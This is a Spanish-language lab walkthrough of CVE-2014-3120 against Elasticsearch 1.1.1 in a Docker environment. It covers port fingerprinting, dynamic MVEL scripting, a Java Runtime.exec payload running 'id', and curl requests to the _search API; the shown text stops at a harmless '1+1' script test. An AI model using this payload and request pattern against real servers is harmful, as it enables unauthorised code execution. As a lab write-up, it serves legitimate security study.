
Guía de laboratorio paso a paso que demuestra la explotación de CVE-2014-3120 contra Elasticsearch 1.1.1, que cubre el análisis de vulnerabilidades, la ejecución remota de código (RCE) mediante secuencias de comandos MVEL y la post-explotación en un entorno Docker.
Empezamos por lo que se está ejecutando en el entorno. Listamos todos los contenedores activos:
docker ps

Resultado: El contenedor p1/lab10:latest está en ejecución y expone 2 puertos externamente:
| Mapeo de puertos | Protocolo |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (requiere verificación) |
0.0.0.0:9300 → 9300/tcp | Desconocido |
Observación inicial: Los puertos 9200 y 9300 son conocidos comúnmente como los puertos por defecto de Elasticsearch. Sin embargo, no podemos concluir basándonos únicamente en los números de puerto: muchos otros servicios pueden enlazarse a cualquier puerto.
⇒ Hacemos curl directamente a cada puerto para verificar qué servicio se está ejecutando realmente.
curl -i http://192.168.3.137:9300/

Análisis de la respuesta:
curl: (52) Empty reply from serverEvaluación: El servidor aceptó la conexión TCP (no hubo rechazo de conexión), pero no respondió mediante el protocolo HTTP. Esto coincide con el comportamiento del protocolo de transporte de Elasticsearch en el puerto 9300: un protocolo binario utilizado para la comunicación entre nodos de un clúster, no HTTP.
⇒ Enfoque: El puerto 9300 utiliza un protocolo binario → no puede explotarse directamente mediante curl/navegador. Pasamos a comprobar el puerto 9200, el puerto de la API REST HTTP.
curl -i http://192.168.3.137:9200/

Análisis de la respuesta:
| Campo | Valor | Significado |
|---|---|---|
name | "Rage" | Nombre del nodo de Elasticsearch (nombre aleatorio de personaje de Marvel: comportamiento predeterminado de versiones antiguas de ES) |
version.number | "1.1.1" | Versión extremadamente antigua: publicada en abril de 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Compilada en 2014 |
lucene_version | "4.7" | Lucene 4.7: motor de indexación antiguo |
tagline | "You Know, for Search" | Frase característica de Elasticsearch |
Evaluación de la superficie de ataque:

⇒ Enfoque: Elasticsearch 1.1.1 habilita Dynamic Scripting por defecto, lo que permite a los clientes enviar scripts (expresiones MVEL) en las consultas de búsqueda para que el servidor las ejecute. Sin un sandbox ni una validación adecuada, un atacante puede inyectar un script malicioso para ejecutar comandos del sistema. Siguiente paso: verificar si Dynamic Scripting está realmente activo en el objetivo.
Elasticsearch admite una función de Scripting que permite a los clientes enviar scripts (expresiones matemáticas o lógicas) dentro de las solicitudes de búsqueda para que el servidor las ejecute al procesar los resultados. En Elasticsearch 1.x, el motor predeterminado de esta función es MVEL (MVFLEX Expression Language).
En versiones de Elasticsearch anteriores a la 1.2, Dynamic Scripting está habilitado por defecto (script.disable_dynamic: false). Esto significa:
script_fields en la API _search.java.lang.Runtime.getRuntime().exec() para ejecutar comandos del sistema.script_fieldsCuando se envía una solicitud de búsqueda con script_fields, Elasticsearch:
_search.script_fields → localiza el script a ejecutar.En Java, la forma más común de ejecutar un comando del sistema es:
Runtime.getRuntime().exec("command");
MVEL, como lenguaje de expresiones con acceso completo a las clases de Java, permite invocar esto directamente:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explicación de cada parte:
| Parte | Explicación |
|---|---|
import java.io.* | Importa las clases de E/S de Java |
Runtime.getRuntime() | Obtiene la instancia del runtime de Java |
.exec("id") | Ejecuta el comando de shell id |
.getInputStream() | Obtiene el flujo de salida del proceso |
new Scanner(...).useDelimiter("\\A").next() | Lee toda la salida como una cadena |
⇒ Enfoque: Con Elasticsearch, la salida del RCE se devuelve directamente en la respuesta; no es necesario redirigir a un archivo y volver a leerlo. Esto hace que el exploit sea más limpio y rápido de verificar.
Después de identificar el objetivo como Elasticsearch 1.1.1, el siguiente paso es verificar si Dynamic Scripting está realmente habilitado.
CVE-2014-3120 explota el hecho de que Elasticsearch permite a los clientes enviar scripts dentro de las solicitudes _search. Si el servidor ejecuta el script, un atacante puede reemplazar la expresión inofensiva por un payload que llame al Java Runtime para ejecutar comandos del sistema.
Primero, creamos un documento de prueba para asegurar que la consulta tenga al menos un resultado coincidente. Si ningún documento coincide, script_fields no se evaluará.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
A continuación, actualizamos el índice:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Luego, enviamos una solicitud _search con script_fields que contiene una expresión MVEL inofensiva:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'
